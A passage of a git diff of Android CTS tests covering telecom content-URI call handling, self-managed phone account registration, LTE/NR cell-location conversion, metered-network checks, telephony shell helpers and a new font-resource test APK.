import android.telecom.CallAudioState;
import android.telecom.Connection;
import android.telecom.TelecomManager;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
+import com.android.compatibility.common.util.SystemUtil;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
@@ -38,18 +52,53 @@
private static final String TEST_EMERGENCY_NUMBER = "9998887776655443210";
+ Uri mPersonRecord = null;
+ Uri mPhoneRecord = null;
+ private final static String TEST_PHONE_NUMBER = "+18005552871";
+
@Override
protected void setUp() throws Exception {
super.setUp();
NewOutgoingCallBroadcastReceiver.reset();
if (mShouldTestTelecom) {
- setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ setupConnectionService(null,
+ FLAG_REGISTER | FLAG_ENABLE | FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME);
+
+ try {
+ // Add a test contact
+ ContentResolver cr = getInstrumentation().getTargetContext().getContentResolver();
+ mPersonRecord = null;
+ mPhoneRecord = null;
+
+ // insert a contact with phone number
+ ContentValues values = new ContentValues();
+ values.put(Contacts.People.NAME, "CTS test contact");
+ mPersonRecord = cr.insert(Contacts.People.CONTENT_URI, values);
+ Uri phoneUri = Uri.withAppendedPath(mPersonRecord,
+ Contacts.People.Phones.CONTENT_DIRECTORY);
+ values.clear();
+ values.put(Contacts.People.Phones.TYPE, Contacts.People.Phones.TYPE_HOME);
+ values.put(Contacts.People.Phones.NUMBER, TEST_PHONE_NUMBER);
+ mPhoneRecord = cr.insert(phoneUri, values);
+
+ } catch (Exception e) {
+ assertTrue("Failed to insert test contact", false);
+ }
}
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
+ ContentResolver resolver = getInstrumentation().getTargetContext().getContentResolver();
+
+ if (mPersonRecord != null) {
+ resolver.delete(mPersonRecord, null, null);
+ }
+ if(mPhoneRecord != null) {
+ resolver.delete(mPhoneRecord, null, null);
+ }
+
TestUtils.clearSystemDialerOverride(getInstrumentation());
TestUtils.removeTestEmergencyNumber(getInstrumentation(), TEST_EMERGENCY_NUMBER);
}
@@ -63,6 +112,20 @@
} */
/**
+ * Verifies that providing content URI instead of tel/sip uri does not start a call
+ *
+ */
+ public void testDoNotStartCallWithContentUri() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ final Bundle extras = new Bundle();
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, mPhoneRecord);
+ placeAndVerifyNoCall(extras);
+ verifyNoConnectionForOutgoingCall();
+ }
+
+ /**
* Verifies that providing the EXTRA_START_CALL_WITH_SPEAKERPHONE extra starts the call with
* speakerphone automatically enabled.
*
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 875122b..df375ba 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -16,8 +16,18 @@
package android.telecom.cts;
+import static android.media.AudioManager.MODE_IN_CALL;
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.telecom.cts.TestUtils.SELF_MANAGED_ACCOUNT_LABEL;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static org.junit.Assert.assertNotEquals;
+
import android.content.Context;
import android.database.Cursor;
+import android.graphics.Color;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Bundle;
@@ -122,6 +132,33 @@
TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_3);
}
+ public void testSelfManagedConnectionServiceRegistrationUnmodifiable() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ verifyAccountRegistration(TestUtils.TEST_SELF_MANAGED_HANDLE_1,
+ TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1);
+ PhoneAccount newPhoneAccount = PhoneAccount.builder(
+ TEST_SELF_MANAGED_HANDLE_1, SELF_MANAGED_ACCOUNT_LABEL)
+ .setAddress(Uri.parse("sip:test@test.com"))
+ .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+ .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER
+ | PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING
+ | PhoneAccount.CAPABILITY_VIDEO_CALLING)
+ .setHighlightColor(Color.BLUE)
+ .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+ .build();
+ try {
+ mTelecomManager.registerPhoneAccount(newPhoneAccount);
+ fail("Self-managed phone account can be replaced to a call provider phone account!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
private void verifyAccountRegistration(PhoneAccountHandle handle, PhoneAccount phoneAccount) {
// The phone account is registered in the setup method.
assertPhoneAccountRegistered(handle);
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index a360bd9..e16bf13 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -76,10 +76,14 @@
public static final String REMOTE_COMPONENT = "android.telecom.cts.CtsRemoteConnectionService";
public static final String ACCOUNT_ID_1 = "xtstest_CALL_PROVIDER_ID_1";
public static final String ACCOUNT_ID_2 = "xtstest_CALL_PROVIDER_ID_2";
+ public static final String ACCOUNT_ID_SIM = "sim_acct";
public static final String ACCOUNT_ID_EMERGENCY = "xtstest_CALL_PROVIDER_EMERGENCY";
public static final String EXTRA_PHONE_NUMBER = "android.telecom.cts.extra.PHONE_NUMBER";
+ public static final String SIM_ACCOUNT_LABEL = "CTSConnectionServiceSim";
public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
+ public static final PhoneAccountHandle TEST_SIM_PHONE_ACCOUNT_HANDLE =
+ new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_SIM);
public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE_2 =
new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_2);
public static final PhoneAccountHandle TEST_EMERGENCY_PHONE_ACCOUNT_HANDLE =
@@ -127,6 +131,36 @@
.addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
.build();
+ public static final PhoneAccount TEST_PHONE_ACCOUNT_THAT_HANDLES_CONTENT_SCHEME =
+ PhoneAccount.builder(
+ TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+ .setAddress(Uri.parse("tel:555-TEST"))
+ .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+ .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+ PhoneAccount.CAPABILITY_VIDEO_CALLING |
+ PhoneAccount.CAPABILITY_RTT |
+ PhoneAccount.CAPABILITY_CONNECTION_MANAGER |
+ PhoneAccount.CAPABILITY_PLACE_EMERGENCY_CALLS |
+ PhoneAccount.CAPABILITY_ADHOC_CONFERENCE_CALLING)
+ .setHighlightColor(Color.RED)
+ .setShortDescription(ACCOUNT_LABEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+ .addSupportedUriScheme("content")
+ .build();
+
+ public static final PhoneAccount TEST_SIM_PHONE_ACCOUNT = PhoneAccount.builder(
+ TEST_SIM_PHONE_ACCOUNT_HANDLE, SIM_ACCOUNT_LABEL)
+ .setAddress(Uri.parse("tel:555-TEST"))
+ .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+ .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+ PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION)
+ .setHighlightColor(Color.RED)
+ .setShortDescription(SIM_ACCOUNT_LABEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+ .build();
+
public static final PhoneAccount TEST_PHONE_ACCOUNT_2 = PhoneAccount.builder(
TEST_PHONE_ACCOUNT_HANDLE_2, ACCOUNT_LABEL + "2")
.setAddress(Uri.parse("tel:555-TEST2"))
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
index b87d594..1112b28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
@@ -22,6 +22,7 @@
import android.telephony.CellIdentity;
import android.telephony.CellIdentityCdma;
import android.telephony.CellIdentityGsm;
+import android.telephony.CellIdentityLte;
import android.telephony.CellIdentityNr;
import android.telephony.CellIdentityTdscdma;
import android.telephony.CellIdentityWcdma;
@@ -97,14 +98,48 @@
}
@Test
- public void testCellIdentityNr_asCellLocation() {
- CellIdentity cellIdentity =
- new CellIdentityNr(123, 456, 789, null, null, null, 0, null, null, EMPTY_SET);
+ public void testCellIdentityLte_asCellLocation() {
+ int tac = 1;
+ int ci = 2;
+ CellIdentity cellIdentity = new CellIdentityLte(123, 456, ci, 7, tac);
CellLocation cellLocation = cellIdentity.asCellLocation();
GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
- assertEquals(new GsmCellLocation(), gsmCellLocation);
+ assertEquals(tac, gsmCellLocation.getLac());
+ assertEquals(ci, gsmCellLocation.getCid());
+ // psc is not supported in LTE so always 0
+ assertEquals(0, gsmCellLocation.getPsc());
+ }
+
+ @Test
+ public void testCellIdentityLte_unavailable_asCellLocation() {
+ CellIdentity cellIdentity = new CellIdentityLte();
+
+ CellLocation cellLocation = cellIdentity.asCellLocation();
+
+ GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+ // -1 for unintialized lac and cid
+ assertEquals(-1, gsmCellLocation.getLac());
+ assertEquals(-1, gsmCellLocation.getCid());
+ // psc is not supported in LTE so always 0
+ assertEquals(0, gsmCellLocation.getPsc());
+ }
+
+ @Test
+ public void testCellIdentityNr_asCellLocation() {
+ int tac = 1;
+ CellIdentity cellIdentity =
+ new CellIdentityNr(123, tac, 789, null, null, null, 321, null, null, EMPTY_SET);
+
+ CellLocation cellLocation = cellIdentity.asCellLocation();
+
+ GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+ assertEquals(tac, gsmCellLocation.getLac());
+ // NR cid is 36 bits and can't fit into the 32-bit cid in GsmCellLocation, so always -1.
+ assertEquals(-1, gsmCellLocation.getCid());
+ // psc is not supported in NR so always 0, same as in LTE
+ assertEquals(0, gsmCellLocation.getPsc());
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 0a5a374..c6f1aa6 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -331,6 +331,9 @@
assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
TextUtils.isEmpty(mDestAddr));
+ // disable suppressing blocking.
+ TelephonyUtils.endBlockSuppression(getInstrumentation());
+
String mccmnc = mTelephonyManager.getSimOperator();
// Setting default SMS App is needed to be able to block numbers.
setDefaultSmsApp(true);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 095e043..02df1b0 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -18,6 +18,7 @@
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
import static android.net.NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED;
import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
@@ -124,6 +125,7 @@
@AfterClass
public static void tearDownClass() throws Exception {
if (!isSupported()) return;
+ TelephonyUtils.flushTelephonyMetrics(InstrumentationRegistry.getInstrumentation());
}
@Before
@@ -347,13 +349,12 @@
mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
// Cellular is metered by default
- assertFalse(cm.getNetworkCapabilities(net).hasCapability(
- NET_CAPABILITY_TEMPORARILY_NOT_METERED));
+ assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
// Override should make it go temporarily unmetered
{
final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
- return caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+ return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
});
mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
assertTrue(latch.await(10, TimeUnit.SECONDS));
@@ -362,7 +363,7 @@
// Clearing override should make it go metered
{
final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
- return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+ return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
});
mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
assertTrue(latch.await(10, TimeUnit.SECONDS));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 2bd8bb8..b3515cd 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -33,6 +33,11 @@
private static final String COMMAND_REMOVE_TEST_EMERGENCY_NUMBER =
"cmd phone emergency-number-test-mode -r ";
+ private static final String COMMAND_END_BLOCK_SUPPRESSION = "cmd phone end-block-suppression";
+
+ private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
+ "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
+
public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
throws Exception {
executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -43,6 +48,14 @@
executeShellCommand(instr, COMMAND_REMOVE_TEST_EMERGENCY_NUMBER + testNumber);
}
+ public static void endBlockSuppression(Instrumentation instr) throws Exception {
+ executeShellCommand(instr, COMMAND_END_BLOCK_SUPPRESSION);
+ }
+
+ public static void flushTelephonyMetrics(Instrumentation instr) throws Exception {
+ executeShellCommand(instr, COMMAND_FLUSH_TELEPHONY_METRICS);
+ }
+
public static boolean isSkt(TelephonyManager telephonyManager) {
return isOperator(telephonyManager, "45005");
}
diff --git a/tests/tests/text/AndroidTest.xml b/tests/tests/text/AndroidTest.xml
index 2af8059..8c8c30d 100644
--- a/tests/tests/text/AndroidTest.xml
+++ b/tests/tests/text/AndroidTest.xml
@@ -21,6 +21,10 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsTextTestResourceData.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTextTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/text/resourceApk/Android.bp b/tests/tests/text/resourceApk/Android.bp
new file mode 100644
index 0000000..3f4d4c9
--- /dev/null
+++ b/tests/tests/text/resourceApk/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+ name: "CtsTextTestResourceData",
+ defaults: ["cts_defaults"],
+
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.kt",
+ ],
+
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/text/resourceApk/AndroidManifest.xml
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/text/resourceApk/AndroidManifest.xml
index 1a335c7..8851b0d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/text/resourceApk/AndroidManifest.xml
@@ -1,5 +1,6 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -12,11 +13,13 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- */
+ -->
-package android.security.cts.cve_2021_0642;
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.text.cts.resources" >
-import android.app.Activity;
+ <application>
+ <activity android:name="android.text.cts.MainActivity" />
+ </application>
-public class PocActivity extends Activity {
-}
+</manifest>
diff --git a/tests/tests/text/resourceApk/assets/a3em.ttx b/tests/tests/text/resourceApk/assets/a3em.ttx
new file mode 100644
index 0000000..3a686b2
--- /dev/null
+++ b/tests/tests/text/resourceApk/assets/a3em.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="a" width="3000" lsb="93"/> <!-- 3em -->
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/text/resourceApk/res/font/a3em.ttf b/tests/tests/text/resourceApk/res/font/a3em.ttf
new file mode 100644
index 0000000..03e1347
--- /dev/null
+++ b/tests/tests/text/resourceApk/res/font/a3em.ttf
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/text/resourceApk/res/layout/textview_layout.xml
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/text/resourceApk/res/layout/textview_layout.xml
index 1a335c7..72efdc4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/text/resourceApk/res/layout/textview_layout.xml
@@ -1,5 +1,6 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -12,11 +13,10 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- */
+ -->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:fontFamily="@font/a3em"
+ android:text="aaa"/>
-package android.security.cts.cve_2021_0642;
-
-import android.app.Activity;
-
-public class PocActivity extends Activity {
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/text/resourceApk/src/android/text/cts/MainActivity.java
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/text/resourceApk/src/android/text/cts/MainActivity.java
index 1a335c7..39850bb 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/text/resourceApk/src/android/text/cts/MainActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.text.cts;
import android.app.Activity;
-public class PocActivity extends Activity {
+public class MainActivity extends Activity {
}
diff --git a/tests/tests/text/src/android/text/cts/FontResourceTest.java b/tests/tests/text/src/android/text/cts/FontResourceTest.java
new file mode 100644
index 0000000..5821772
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/FontResourceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.util.TypedValue;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.widget.RemoteViews;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@AppModeFull
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontResourceTest {
+
+ private static final int REMOTE_FONT_TEXT_WIDTH = 900;
+ private static final String RESOURCE_PACKAGE = "android.text.cts.resources";
+
+ private int getLayoutId() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ int resID = 0;
+ try {
+ resID = context.createPackageContext(RESOURCE_PACKAGE, 0)
+ .getResources().getIdentifier(
+ "textview_layout",
+ "layout",
+ RESOURCE_PACKAGE);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ assertThat(resID).isNotEqualTo(0);
+ return resID;
+ }
+
+ private TextView inflateWithRemoteViews(Context ctx) {
+ RemoteViews remoteViews = new RemoteViews(RESOURCE_PACKAGE, getLayoutId());
+ return (TextView) remoteViews.apply(ctx, null);
+ }
+
+ private TextView inflateWithInflator(Context ctx) {
+ LayoutInflater inflater = LayoutInflater.from(ctx);
+ return (TextView) inflater.inflate(getLayoutId(), null);
+ }
+
+ private int measureText(TextView textView) {
+ textView.setTextSize(TypedValue.COMPLEX_UNIT_PX, 100f); // make 1em = 100px
+ textView.measure(
+ View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED),
